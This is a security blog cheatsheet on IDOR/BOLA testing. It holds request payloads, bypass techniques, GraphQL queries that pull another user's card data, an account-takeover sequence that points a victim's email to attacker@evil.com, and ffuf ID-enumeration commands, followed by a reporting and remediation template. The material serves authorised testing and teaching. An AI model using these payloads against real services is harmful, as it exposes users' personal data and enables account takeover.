← Back to writing
Tools & Cheatsheets

IDOR & BOLA — Broken Object Level Authorization

Mar 15, 2025
4 min read
lawbyte

IDOR (Insecure Direct Object Reference) / BOLA (Broken Object Level Authorization) is consistently one of the most impactful vulnerabilities in modern applications. It’s the #1 API vulnerability per OWASP API Security Top 10.

What is IDOR/BOLA?

The server doesn’t verify that the authenticated user has permission to access the requested object. If user A can access /api/orders/1001 and simply changing to /api/orders/1002 returns user B’s order — that’s IDOR.


Finding Object References

URL Parameters

# Numeric IDs
GET /api/users/1234
GET /api/orders/5678
GET /documents/download?id=42

# Predictable patterns — try incrementing/decrementing
/api/users/1000 → /api/users/1001/api/users/999

# GUIDs / UUIDs — harder to guess, but check:
GET /api/invoice/550e8400-e29b-41d4-a716-446655440000
# UUIDs may be sequential (v1 time-based) or found in other API responses

POST Body References

POST /api/transfer
{"from_account": "ACC001", "to_account": "ACC002", "amount": 100}

# Try modifying from_account to another user's account
{"from_account": "ACC999", "to_account": "ACC002", "amount": 100}

Headers

X-User-Id: 1234         # try changing to another user's ID
X-Account-Id: ACC001
X-Tenant-Id: tenant123

Encoded / Hashed References

# Base64 encoded IDs
echo "dXNlcl8xMjM0" | base64 -d # → user_1234
# Try: echo "user_5678" | base64 # → dXNlcl81Njc4

# MD5 of username/email
echo -n "user@example.com" | md5sum

# Hashed IDs — look for patterns in other API responses
# Endpoint A reveals hashed ID → use it in endpoint B

Testing Methodology

Setup Two Accounts

Account A: attacker-controlled (victim perspective)
Account B: target user (legitimate user)

1. Log in as User A, capture resource IDs from normal usage
2. Log in as User B, capture User B's resource IDs
3. While authenticated as User A, try to access User B's resource IDs
4. Verify: can User A access User B's data?

Burp Suite Workflow

1. Log in as User B, create/upload/generate resources
2. Note resource IDs from responses
3. Log in as User A in separate browser/session
4. In Burp, replace User A's cookie with User B's IDs from step 2
5. Observe response — 200 with data = IDOR

Common Endpoints to Test

# User profile
GET /api/users/{id}
GET /api/profile/{id}
PUT /api/users/{id}
DELETE /api/users/{id}

# Documents / files
GET /api/documents/{id}
GET /files/{filename}
GET /download?file={path}

# Orders / transactions
GET /api/orders/{id}
GET /api/invoices/{id}
GET /api/transactions/{id}

# Admin functions
GET /api/admin/users/{id}
PUT /api/admin/users/{id}/role

# Messages / notifications
GET /api/messages/{id}
GET /api/notifications/{id}

# Exports / reports
GET /api/export?user_id={id}
GET /api/report/{id}

Common Bypass Techniques

HTTP Method Switching

# Server validates GET but not other methods
GET /api/users/1234403 Forbidden
POST /api/users/1234200 OK
PUT /api/users/1234200 OK
PATCH /api/users/1234200 OK

Parameter Pollution

# Add duplicate parameters — some frameworks use last, some use first
GET /api/orders?user_id=1001&user_id=1002
GET /api/orders?user_id=1002&user_id=1001

JSON Parameter Pollution

{"user_id": 1001, "user_id": 1002}
{"user_id": [1001, 1002]}

Path Traversal + IDOR

# Application restricts /api/users/OWN_ID
# Try path traversal
/api/users/1234/../5678
/api/users/1234/../../users/5678

Wildcard / Special Values

GET /api/users/*
GET /api/users/null
GET /api/users/undefined
GET /api/users/me # then modify to ID
GET /api/users/self

Type Juggling (if IDs are compared with ==)

# Integer vs string comparison
user_id=1234 → try user_id="1234" or user_id=1234.0

Version Endpoint Differences

# v2 validates, v1 doesn't
/api/v2/users/1234403
/api/v1/users/1234200

# Also try:
/api/users/1234403
/v1/api/users/1234200

API-Specific BOLA Testing

REST APIs

# Test each CRUD operation
GET /api/resource/{id} # read another user's resource
PUT /api/resource/{id} # modify another user's resource
DELETE /api/resource/{id} # delete another user's resource
PATCH /api/resource/{id} # partial modify

# Association endpoints
GET /api/users/{victim_id}/orders
GET /api/users/{victim_id}/documents
POST /api/users/{victim_id}/messages

GraphQL BOLA

# Query another user's data by changing ID
query {
user(id: "victim_user_id") {
email
phone
address
creditCards {
number
cvv
}
}
}

# Mutation on another user's object
mutation {
updateUser(id: "victim_id", email: "attacker@evil.com") {
success
}
}

Mass Assignment BOLA

# API accepts extra fields it shouldn't
PUT /api/profile
{
"name": "Attacker",
"email": "attacker@mail.com",
"role": "admin", ← should not be accepted
"user_id": 9999 ← should not be modifiable
}

Chaining for Impact

IDOR on profile read → expose PII (email, phone, address)
IDOR on profile write → account takeover (change email/password)
IDOR on order → expose purchase history, financial data
IDOR on messagesread private communications
IDOR on admin endpoints → privilege escalation
IDOR on file download → read sensitive documents
IDOR on deletion → deny service to other users

Account Takeover via IDOR

1. User A changes their email: PUT /api/users/1001/email → {"email": "a@a.com"}
2. Try: PUT /api/users/1002/email → {"email": "attacker@evil.com"}
3. Trigger password reset for victim account → email sent to attacker
4. Full ATO achieved

Automation with ffuf / Burp Intruder

# Enumerate user IDs with ffuf
ffuf -w ids.txt:FUZZ \
-u "https://target.com/api/users/FUZZ" \
-H "Cookie: session=YOUR_SESSION" \
-mc 200 \
-o results.json

# Generate ID list
seq 1000 2000 > ids.txt

# Filter by response size (to exclude identical "access denied" responses)
ffuf -w ids.txt:FUZZ \
-u "https://target.com/api/users/FUZZ" \
-H "Cookie: session=YOUR_SESSION" \
-fs 245 # exclude responses with this byte count (likely 403 page)

IDOR Reporting Template

Title: IDOR — Unauthorized Access to [Resource Type]

Severity: High / Critical

Endpoint: GET /api/users/{id}

Steps to Reproduce:
1. Create two accounts: victim@test.com (User B) and attacker@test.com (User A)
2. As User B, retrieve profile: GET /api/users/1002 → note User B's ID is 1002
3. Log in as User A (ID: 1001)
4. Send request: GET /api/users/1002 with User A's session token
5. Response contains User B's PII

Impact:
- Exposure of: email, phone number, home address, payment method last4
- With write access: full account takeover possible

Remediation:
- Server must validate that the requesting user owns or has explicit permission to access the requested object
- Use authorization checks: if (request.user.id !== resource.owner_id) → 403
- Consider indirect references (map internal IDs per-session instead of exposing real IDs)

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.